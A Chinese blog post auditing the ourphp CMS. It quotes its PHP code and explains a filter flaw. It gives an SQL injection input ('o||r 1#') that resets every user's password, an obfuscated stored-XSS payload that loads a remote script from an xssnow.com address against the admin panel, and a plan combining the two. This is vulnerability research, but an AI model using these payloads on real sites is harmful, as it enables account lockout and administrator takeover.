代码审计学习(二)ourphp

作者: 分类: 代码审计 时间: 2016-03-17 浏览: 3161 评论: 1条评论

看了1天 还算有点结果。
这次是ourphp,源码链接

0x01 重置所有用户口令

先看通用的函数 /function/ourphp_function.class.php

dowithsql.png

中间有这么两行

$ourphpstr = str_ireplace("&&","",$ourphpstr);
$ourphpstr = str_ireplace("||","",$ourphpstr);

那么前面都白过滤了,举个例子,fr||om => from

看到 /client/user/ourphp_play.class.php 注册用户的逻辑

//处理注册用户
if(empty($_GET["ourphp_cms"])){

    exit('no!');
    
}elseif($_GET["ourphp_cms"] == 'reg'){
    
if(strlen($_POST["OP_Useremail"])>40){
    exit("<script language=javascript> alert('".$usernameyes."');history.go(-1);</script>");
}

if ($_POST["OP_Useremail"] == '' || $_POST["OP_Userpass"] == '' || $_POST["OP_Userpass2"] == '' || $_POST["OP_Username"] == '' || $_POST["OP_Usertel"] == '' || $_POST["OP_Useranswer"] == ''){
exit("<script language=javascript> alert('".$inputno."');history.go(-1);</script>");
}elseif ($_POST["OP_Userpass"] != $_POST["OP_Userpass2"]){
exit("<script language=javascript> alert('".$passwordto."');history.go(-1);</script>");
}elseif ($_POST["code"] != $ValidateCode){
exit("<script language=javascript> alert('".$code."');history.go(-1);</script>");
}

$op = $db -> plugsclass("手机短信API接口","regsms");
if($op == "200"){
    if($_POST['mobilecode'] != $_SESSION['mobilecode']){
        exit("<script language=javascript> alert('".$mobilecode."');history.go(-1);</script>");
    }
}

    $query=mysql_query("SELECT OP_Useremail FROM `ourphp_user` WHERE `OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."'");
    $num=mysql_num_rows($query);
    if ($num != 0){
    
        exit("<script language=javascript> alert('".$usernameyes."');history.go(-1);</script>");
    
            }else{  
            
            if ($ourphp_usercontrol['ipoff'] == 1){
                $query=mysql_query("SELECT id FROM `ourphp_user` WHERE `OP_Userip` = '".dowith_sql($_POST["ip"])."'");
                $num=mysql_num_rows($query);
                if ($num != 0){
                                exit("<script language=javascript> alert('".$userip."');history.go(-1);</script>");
                }
            }
            
            if(dowith_sql($_POST["introducer"]) == ''){
                $introducer = '';
            }else{           
                $queryto=mysql_query("SELECT `OP_Useremail` FROM `ourphp_user` WHERE `id` = ".intval($_POST["introducer"]));
                $num=mysql_num_rows($queryto);
                if ($num != 0){
                    $query=mysql_query("update `ourphp_user` set 
                    `OP_Usermoney` = `OP_Usermoney` + ".$ourphp_usercontrol['money'][3].",
                    `OP_Userintegral` = `OP_Userintegral` + ".$ourphp_usercontrol['money'][4]."
                     where id = ".intval($_POST["introducer"]));
                     
                    $ourphp_rs = mysql_fetch_array($queryto);
                    $introducer = $ourphp_rs[0];
                }else{
                    $introducer = '';
                }
            }
            
                $sql="insert into `ourphp_user` set 
                  `OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."',
                  `OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."',
                  `OP_Username` = '".dowith_sql($_POST["OP_Username"])."',
                  `OP_Usertel` = '".dowith_sql($_POST["OP_Usertel"])."',
                  `OP_Userqq` = '".dowith_sql($_POST["OP_Userqq"])."',
                  `OP_Userskype` = '".dowith_sql($_POST["OP_Userskype"])."',
                  `OP_Useraliww` = '".dowith_sql($_POST["OP_Useraliww"])."',
                  `OP_Useradd` = '".dowith_sql($_POST["OP_Useradd"])."',
                  `OP_Userclass` = '".$ourphp_usercontrol['group']."',
                  `OP_Usersource` = '".$introducer."',
                  `OP_Usermoney` = '".$ourphp_usercontrol['money'][0]."',
                  `OP_Userintegral` = '".$ourphp_usercontrol['money'][5]."',
                  `OP_Userip` = '".dowith_sql($_POST["ip"])."',
                  `OP_Userproblem` = '".dowith_sql($_POST["OP_Userproblem"])."',
                  `OP_Useranswer` = '".dowith_sql($_POST["OP_Useranswer"])."',
                  `OP_Userstatus` = 1,
                  `OP_Usertext` = '".dowith_sql($_POST["OP_Usertext"])."',
                  `OP_Usercode` = '".randomkeys(18)."',
                  `time` = '".date("Y-m-d H:i:s")."'
                ";
                $query=mysql_query($sql);

可以看到 用户名用dowithsql处理一下就进数据库了

sql1.png

看看登陆

//处理会员登录
}elseif($_GET["ourphp_cms"] == 'login'){

if ($_POST["code"] != $ValidateCode){
    exit("<script language=javascript> alert('".$code."');history.go(-1);</script>");
}

    $loginerror = $ourphp_adminfont['loginerror'];
    $query=mysql_query("SELECT `id`,`OP_Useremail`,`OP_Userpass`,`OP_Userstatus`,`OP_Username` FROM `ourphp_user` WHERE `OP_Useremail` = '".dowith_sql($_POST["OP_Useremail"])."' and `OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."'");
    $num=mysql_num_rows($query);
    if ($num < 1){
    
        exit("<script language=javascript> alert('".$loginerror."');history.go(-1);</script>");
        
        }else{
            
        $ourphp_rs = mysql_fetch_array($query);
        
        if($ourphp_rs[3] == 2){
            exit("<script language=javascript> alert('".$userloginno."');history.go(-1);</script>");
        }
        
        $_SESSION['username'] = $ourphp_rs[1];
        $_SESSION['name'] = $ourphp_rs[4];

把OP_Useremail的值给了$_SESSION['username'],那么只要带$_SESSION['username']的查询就可以注入

可惜dowithsql过滤了下划线

$ourphpstr = str_ireplace("_","\_",$ourphpstr);

而且用户和管理的加密都是

substr(md5(md5($_REQUEST["OP_Userpass"])),0,16)

还有注册的时候判断了长度为40

if(strlen($_POST["OP_Useremail"])>40){
        exit("<script language=javascript> alert('".$usernameyes."');history.go(-1);</script>");
    }

这就有点蛋疼了,想想 只能搞同表的了。(wooyun最新爆的是前台登陆的sql 表示没看出来= =)

找到修改资料的地方 /client/user/ourphp_play.class.php

//修改资料
}elseif($_GET["ourphp_cms"] == 'edit'){


if ($_POST["OP_Username"] == '' || $_POST["OP_Usertel"] == '' || $_POST["OP_Useranswer"] == '' || $_POST["code"] == ''){
exit("<script language=javascript> alert('".$inputno."');history.go(-1);</script>");
}elseif ($_POST["OP_Userpass"] != $_POST["OP_Userpass2"]){
exit("<script language=javascript> alert('".$passwordto."');history.go(-1);</script>");
}elseif ($_POST["code"] != $ValidateCode){
exit("<script language=javascript> alert('".$code."');history.go(-1);</script>");
}

                if ($_POST["OP_Userpass"] == '' && $_POST["OP_Userpass2"] == ''){
                    $password = $_POST["password"];
                }else{
                    if ($_POST["OP_Userpass"] != $_POST["OP_Userpass2"]){
                    exit("<script language=javascript> alert('".$passwordto."');history.go(-1);</script>");
                    }
                    $password = dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16));
                }
                
                $sql="update `ourphp_user` set 
                  `OP_Userpass` = '".$password."',
                  `OP_Username` = '".dowith_sql($_POST["OP_Username"])."',
                  `OP_Usertel` = '".dowith_sql($_POST["OP_Usertel"])."',
                  `OP_Userqq` = '".dowith_sql($_POST["OP_Userqq"])."',
                  `OP_Userskype` = '".dowith_sql($_POST["OP_Userskype"])."',
                  `OP_Useraliww` = '".dowith_sql($_POST["OP_Useraliww"])."',
                  `OP_Useradd` = '".dowith_sql($_POST["OP_Useradd"])."',
                  `OP_Useranswer` = '".dowith_sql($_POST["OP_Useranswer"])."',
                  `OP_Usertext` = '".dowith_sql($_POST["OP_Usertext"])."',
                  `OP_Usercode` = '".randomkeys(18)."'
                 WHERE `OP_Useremail` = '".$_SESSION['username']."' and `OP_Usercode` = '".dowith_sql($_POST["usercode"])."'";
                $query=mysql_query($sql);
                echo "<script language=javascript> alert('".$upok."');location.replace('".$ourphp_webpath."client/user/?".$_POST["lang"]."-useredit.html');</script>";
                exit;

看这个sql语句

sql3.png

完美,只要注册一个类似 test@163.com\ 的用户名 然后去修改资料
usercode填 o||r 1# 就可以重置所有用户口令 甚至安全问题。(没有错 ,其他人就无法找回密码了)

0x02 xss打后台

前面说到用户和管理的加密比较难破解,自然想到xss直接进

看到处理留言的地方 /function/ourphp_play.class.php

//处理留言
if(isset($_GET["ourphp_cms"])){
    
$book = $ourphp_adminfont['bookadd'];
$code = $ourphp_adminfont['code'];
$outlogin = $ourphp_adminfont['outlogin'];

$ourphp_rs = $db-> ourphpsql("select `OP_Bookuser` from `ourphp_webdeploy` where `id` = 1");
if($ourphp_rs[0] == 1){
    if(empty($_SESSION['username'])){
        echo "<script language=javascript> alert('".$outlogin."');history.go(-1);</script>";
        exit;
    }
}

if($_POST["bookcontent"] == '' || $_POST["bookname"] == '' || $_POST["booktel"] == '' || $_POST["bookcode"] == ''){
    echo "<script language=javascript> alert('".$book."');history.go(-1);</script>";
    exit;
}

if($_POST["bookcode"] != $ValidateCode){
    echo "<script language=javascript> alert('".$code."');history.go(-1);</script>";
    exit;
}
            $sql="insert into `ourphp_book` set 
            `OP_Bookcontent` = '".dowith_sql(ourphp_sensitive($_POST["bookcontent"]))."',
            `OP_Bookname` = '".dowith_sql(ourphp_sensitive($_POST["bookname"]))."',
            `OP_Booktel` = '".dowith_sql($_POST["booktel"])."',
            `OP_Bookip` = '".dowith_sql($_POST["ip"])."',
            `OP_Bookclass` = '".dowith_sql($_POST["class"])."',
            `OP_Booklang` = '".dowith_sql($_POST["lang"])."',
            `time` = '".date("Y-m-d H:i:s")."'
            ";
            $query=mysql_query($sql);

            if(isset($_POST["wapbook"])){
            echo "<script language=javascript>location.replace('".$ourphp_webpath."client/wap/?".$_POST["lang"]."-clubview-".$_POST["class"].".html');</script>";
            }else{
            echo "<script language=javascript>location.replace('".$ourphp_webpath."?".$_POST["lang"]."-clubview-".$_POST["class"].".html');</script>";
            }

}

竟然是用dowith_sql处理的...只能说 基本没过滤吧~ 上payload

<img/src=1 onerro||r=(function(){s=document.cre||ateElement(String.fr||omCha||rCode(115,99,114,105,112,116));s.src=String.fro||mCh||arCode(104,116,116,112,58,47,47,120,115,115,110,111,119,46,99,111,109,*,*,*,*);document.body.appendChild(s)})()>

然后做等管理看留言就可以了,同样的地方还有注册时候的ip获取

0x03 组合技

这是在提交漏洞的时候突然想到的,万一管理员很懒,不看留言,不看用户
不是不知道要等到什么时候去..

先注册一个账号,注册的时候把ip改成上面的payload
然后重置所有人的账号,让他们不能登陆,还不能找回密码

等管理去恢复账号的时候 :)

而且还能让管理在线一段时间

ps 后台写的太乱了,不想看,换新的目标

标签: none

订阅本站(RSS)

仅有 1 条评论

  1. 前来膜拜

    时间: 2016-04-04 at 18:55 回复

添加新评论